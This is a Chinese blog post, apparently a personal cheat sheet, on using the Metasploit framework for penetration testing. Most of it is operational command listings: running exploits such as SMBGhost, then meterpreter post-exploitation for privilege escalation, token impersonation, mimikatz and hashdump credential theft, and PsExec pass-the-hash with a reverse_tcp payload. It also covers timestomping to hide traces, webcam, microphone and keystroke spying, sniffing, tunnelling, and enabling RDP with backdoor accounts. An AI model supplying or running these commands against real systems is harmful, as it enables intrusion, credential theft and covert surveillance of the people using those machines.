渗透测试之漏洞验证篇

MSF 是一个渗透测试利用框架,在这个框架中集成了很多漏洞检测和利用的脚本工具,可以让我们直接利用,省去了在网络中查找脚本的时间。

MSF 框架使用

msf 数据库为 postgresql,在使用时要保证其是开启的

msf 使用流程

  1. 确定使用的脚本工具,可以通过search来搜索
  • search cve:2020-0796
  • search ms08-067
  • search app:apache
  1. 使用对应的脚本,use 搜索序号 或use 脚本路径
  2. info查询脚本信息,show option 查看有哪些选项
  3. 若没有payload 需要设置payload,set payload xxx
  4. 设置需要填写的选项,set rhost xxx
  5. run或者exploit运行
  6. 获取到普通shell或者meterpreter shell后,进行后渗透操作
  • meterpreter shell
    • 进入系统shell ->执行 shell 命令,exit退出shell

    • execute calc.exe 执行程序

    • resource 执行指定文件中的命令,可以提前写好脚本,进行执行

    • transport 修改当前传输机制

    • 获取当前使用的用户 getuid, guid

    • 获取当前payload使用的进程 getpid

    • 迁移进程到安全的进程中(权限和用户会随之更改为迁移进程的用户)
      migrate 当前pid -P 迁移到pid | -N name | -t timeout

    • 若权限为普通用户,可通过提权脚本或命令进行提权

      • ① getsystem 获取系统用户权限
      • ② 通过 token 伪造
        • use incognito 使用该模块
        • list_tokens -u 列出所有有效token(登录了系统的用户)
        • impersonate_token “用户名” 使用该用户token登录系统
        • add_user user pass 添加用户
        • add_localgroup_user group user 将用户添加到用户组
        • add_group_user group user 将用户添加到域组中
        • rev2self 返回之前的token
      • ③ 通过 mimikatz 获取明文密码或者 sam 文件内容
        • wdigest 直接执行获取密码(win10获取不到)
        • mimikatz-command -f 执行mimikatz的命令
        • mimikatz-command -f :: 可以获取帮助 mimikatz-command -f cls:: 查看有哪些可用的命令
        • mimikatz-command -f samdump::hashes 获取sam中的hash值(win10获取不到)
        • mimikatz-command -f sekurlsa:searchPasswords 查找显示所有用户的密码
      • ④ 获取SAM文件(C:\windows\system32\config\SAM)内容
        • hashdump
        • run credcollect 转储hashdump的hash值(可用获取到token)
        • run post/windows/gather/smart_hashdump 从SAM文件中获取hash
          • 使用得到的hash进行登录(PSExec哈希传递攻击)
            前提条件:1.开启445端口smb服务,2.开启admin$共享
            use exploit/smb/psexec set payload windows/x64/meterpreter/reverse_tcp set rhost set SMBUser 用户 set SMBPass hash值LM:NTLM set SMBDomain WORKGROUP工作组(域环境需设置域) exploit
      • ⑤ 使用exlploit/windows/local/下的脚本进行提权
        • 测试可对win10 企业版1903提权
          exploit/windows/local/cve_2020_0796_smbghost
        • exploit/windows/local/bypassuac 提权,内置多个pypassuac脚本
      • ⑥ 使用steal_token pid 窃取指定pid所属用户的token进行登录
        • drop_token 删除窃取的token
    • 其他功能

      • 系统信息

        • sysinfo 获取系统信息

          • meterpreter > sysinfo
            Computer : DESKTOP-EOF
            OS : Windows 10 (10.0 Build 18362).
            Architecture : x64
            System Language : zh_CN
            Domain : WORKGROUP
            Logged On Users : 2
            Meterpreter : x64/windows
        • ps 查看进程

        • idletime 获取系统闲置的时间,方便判断是否适合进行使用远程桌面登录(不是很准确)

      • 文件系统操作指令

        • ls 查看文件内容

        • lls 查看msf主机所在目录中的内容

        • cd 切换目录

        • lcd 切换msf主机的目录

        • getwd 获取当前所在路径

        • getlwd 获取msf主机的当前路径

        • upload //root//test.txt C:\t.tx 上传文件,-r 递归的上传目录

        • search -f 查找文件 ,-d 查找目录,-r递归的查找子目录

        • edit 可直接编辑目标系统中的文件,有则修改,无则创建

        • timestomp 伪造文件事件

          • timestomp -v C:\test.txt 查看目标系统中文件的时间信息
          • timestomp C:\test.txt -f C:\test1.txt 将c:\test.txt文件的时间属性给c:\test1.txt
      • 监控功能

        • 监控摄像

          • webcam_list 查看有哪些摄像头
          • webcam_chat 进行视频聊天
          • webcam_stream 从指定摄像头播放视频流
          • webcam_snap 从指定摄像头拍照
        • 监控麦克风

          • record_mic 从默认麦克风录制X秒音频
        • 监控桌面

          • enumdesktops 枚举桌面
          • getdesktop 获取当前meterpreter的桌面
          • screenshare 获取远程桌面的共享(可以通过http查看到远程桌面)
          • screenshot 获取桌面截图(win10失败)
        • 监控键盘鼠标(会失效)

          • uictl 控制键盘鼠标(开启或关闭 -h)
          • keyscan_start 开启键盘记录
          • keyscan_stop 停止键盘记录
          • keyscan_dump 获取键盘记录结果
          • keyevent 键盘事件
      • 网络相关命令

        • getproxy 查看代理信息

        • portfwd 端口转发

          • portfwd add -l 666 -p 3306 -r 127.0.0.1 添加一条端口本地端口转发,当我访问本地的666端口时,可以访问到目标的127.0.0.1:3306,本质是建立了一条隧道
          • portfwd delete -l 666 -p 3306 -r 127.0.0.1 删除该端口转发
          • portfwd list 查看端口转发列表
          • pertfwd flush 清空端口转发
        • use sniffer 网络嗅探

          • use sniffer 使用网络嗅探(win10 1903企业版失败)
          • sniffer_interfaces 查看有哪些网卡接口
          • sniffer_start 指定网卡进行嗅探
          • sniffer_stats 指定网卡查看抓取状态
          • sniffer_stop 指定网卡停止嗅探
          • sniffer_dump 下载指定网卡抓取的包到指定文件中
          • sniffer_release
      • run 直接运行脚本

      • brackground 后台运行

      • windows开启远程桌面连接

        • run post/windows/manage/enable_rdp 开启远程桌面的后渗透模块

        • run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户

        • run post/windows/manage/enable_rdp FORWARD=true LPORT=666 开启端口转发,将3389端口转发到666段

        • rdesktop kali进行远程做桌面登录

        • run getgui -e 开启远程桌面

        • run getgui -u test -p 123456 创建用户

        • run getgui -f 6666 -e 转发3389端口到6666并开启

          • 相当于做了本地端口转发(当连接攻击机端口时,会通过已建立的连接去访问目标的127.0.0.1:3389),建立隧道,攻击机可用作为跳板机,或者为了防止对方3389端口被拦截,其他人或者攻击者可用通过访问攻击者的 IP:转发端口 来访问目标
        • rdesktop kali进行远程做桌面登录

        • run post/windows/manage/enable_rdp 打开目标的远程桌面

        • run vnc 使用vnc连接windows (获得远程桌面,但是我的只能查看,不能操作)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值